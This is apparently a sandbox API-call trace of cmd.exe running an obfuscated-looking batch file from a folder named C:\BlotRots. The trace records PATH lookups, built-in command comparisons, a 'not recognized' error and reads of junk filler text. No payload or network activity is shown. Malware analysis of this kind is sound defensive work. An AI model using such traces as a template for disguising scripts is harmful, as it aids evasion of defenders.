FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.098] GetLastError () returned 0x2 [0232.098] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.098] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.099] GetLastError () returned 0x2 [0232.099] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.099] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.099] GetLastError () returned 0x2 [0232.099] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.099] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.099] GetLastError () returned 0x2 [0232.099] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.099] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.099] GetLastError () returned 0x2 [0232.099] ??_V@YAXPEAX@Z () returned 0x1 [0232.099] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0232.102] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.102] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.102] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.102] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.103] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.103] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.103] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.103] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.103] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.103] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.103] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.103] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.103] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.103] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.103] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.103] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.103] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.103] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.103] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.103] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.103] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.103] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.103] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.103] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.103] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.104] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.104] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.104] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.104] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.104] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.104] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.104] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.104] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.104] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.104] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.104] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.104] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.104] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.104] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.104] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.104] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.104] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.104] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.104] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.104] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.104] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.104] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.104] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.104] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.104] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.104] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.104] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.104] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.104] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.104] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.105] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.105] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.105] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.105] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.105] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.105] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.105] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.105] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.105] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.105] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.105] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.105] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.105] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.105] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.105] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.105] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.105] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.105] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.105] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.105] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.105] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.105] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.105] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.105] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.105] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.105] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.105] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.105] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.105] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.106] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.106] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.106] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.106] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.106] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0232.106] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0232.106] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0232.106] ??_V@YAXPEAX@Z () returned 0x1 [0232.106] GetProcessHeap () returned 0x20b0f920000 [0232.106] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0232.106] GetProcessHeap () returned 0x20b0f920000 [0232.106] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f957240 [0232.107] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.107] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.107] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.108] GetProcessHeap () returned 0x20b0f920000 [0232.108] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0232.109] SetErrorMode (uMode=0x0) returned 0x0 [0232.109] SetErrorMode (uMode=0x1) returned 0x0 [0232.109] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0232.109] SetErrorMode (uMode=0x0) returned 0x1 [0232.109] GetProcessHeap () returned 0x20b0f920000 [0232.109] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0232.109] GetProcessHeap () returned 0x20b0f920000 [0232.109] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0232.109] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.109] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.109] GetProcessHeap () returned 0x20b0f920000 [0232.109] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0232.109] GetProcessHeap () returned 0x20b0f920000 [0232.109] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0232.109] GetProcessHeap () returned 0x20b0f920000 [0232.109] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0232.109] GetProcessHeap () returned 0x20b0f920000 [0232.109] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0232.109] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.109] GetProcessHeap () returned 0x20b0f920000 [0232.109] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946fb0 [0232.110] GetProcessHeap () returned 0x20b0f920000 [0232.110] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946fb0, Size=0x7e) returned 0x20b0f9567f0 [0232.110] GetProcessHeap () returned 0x20b0f920000 [0232.110] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9567f0) returned 0x7e [0232.110] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.110] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d2d0 [0232.110] FindClose (in: hFindFile=0x20b0f92d2d0 | out: hFindFile=0x20b0f92d2d0) returned 1 [0232.110] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.112] GetLastError () returned 0x2 [0232.112] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.112] GetLastError () returned 0x2 [0232.112] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.112] GetLastError () returned 0x2 [0232.113] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.113] GetLastError () returned 0x2 [0232.113] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.113] GetLastError () returned 0x2 [0232.113] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.113] GetLastError () returned 0x2 [0232.113] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.113] GetLastError () returned 0x2 [0232.113] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.113] GetLastError () returned 0x2 [0232.113] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.114] GetLastError () returned 0x2 [0232.114] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.114] GetLastError () returned 0x2 [0232.114] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.114] GetLastError () returned 0x2 [0232.114] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.114] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.115] GetLastError () returned 0x2 [0232.115] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.115] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cf10 [0232.115] FindClose (in: hFindFile=0x20b0f92cf10 | out: hFindFile=0x20b0f92cf10) returned 1 [0232.116] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.116] GetLastError () returned 0x2 [0232.116] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.116] GetLastError () returned 0x2 [0232.116] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.116] GetLastError () returned 0x2 [0232.116] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.117] GetLastError () returned 0x2 [0232.117] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.117] GetLastError () returned 0x2 [0232.117] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.117] GetLastError () returned 0x2 [0232.117] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.117] GetLastError () returned 0x2 [0232.117] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.118] GetLastError () returned 0x2 [0232.118] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.118] GetLastError () returned 0x2 [0232.118] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.118] GetLastError () returned 0x2 [0232.118] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.118] GetLastError () returned 0x2 [0232.118] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.119] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.119] GetLastError () returned 0x2 [0232.119] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.119] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.119] GetLastError () returned 0x2 [0232.119] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.119] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.119] GetLastError () returned 0x2 [0232.120] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.120] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.120] GetLastError () returned 0x2 [0232.120] ??_V@YAXPEAX@Z () returned 0x1 [0232.120] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.120] GetFileType (hFile=0x54) returned 0x2 [0232.120] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0232.121] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0232.121] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.121] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0232.121] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0232.122] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0232.122] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0232.129] ??_V@YAXPEAX@Z () returned 0x1 [0232.130] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.130] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0232.130] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.130] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0232.130] _get_osfhandle (_FileHandle=0) returned 0x4c [0232.130] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0232.130] SetConsoleInputExeNameW () returned 0x1 [0232.130] GetConsoleOutputCP () returned 0x1b5 [0232.131] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0232.131] SetThreadUILanguage (LangId=0x0) returned 0x409 [0232.131] ??_V@YAXPEAX@Z () returned 0x1 [0232.132] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.132] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.132] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.133] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11c0 [0232.133] GetProcessHeap () returned 0x20b0f920000 [0232.133] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9567f0) returned 1 [0232.133] GetProcessHeap () returned 0x20b0f920000 [0232.133] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0232.133] GetProcessHeap () returned 0x20b0f920000 [0232.133] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0232.133] GetProcessHeap () returned 0x20b0f920000 [0232.133] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0232.134] GetProcessHeap () returned 0x20b0f920000 [0232.134] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957240) returned 1 [0232.134] GetProcessHeap () returned 0x20b0f920000 [0232.134] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0232.134] GetProcessHeap () returned 0x20b0f920000 [0232.134] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956a30) returned 1 [0232.134] GetProcessHeap () returned 0x20b0f920000 [0232.134] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0232.134] GetProcessHeap () returned 0x20b0f920000 [0232.135] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0232.135] GetProcessHeap () returned 0x20b0f920000 [0232.135] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0232.135] GetProcessHeap () returned 0x20b0f920000 [0232.135] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0232.135] GetProcessHeap () returned 0x20b0f920000 [0232.135] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0232.135] GetProcessHeap () returned 0x20b0f920000 [0232.136] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0232.136] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.136] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c0 [0232.136] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x5f5, lpOverlapped=0x0) returned 1 [0232.136] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4635, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x121b [0232.136] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, 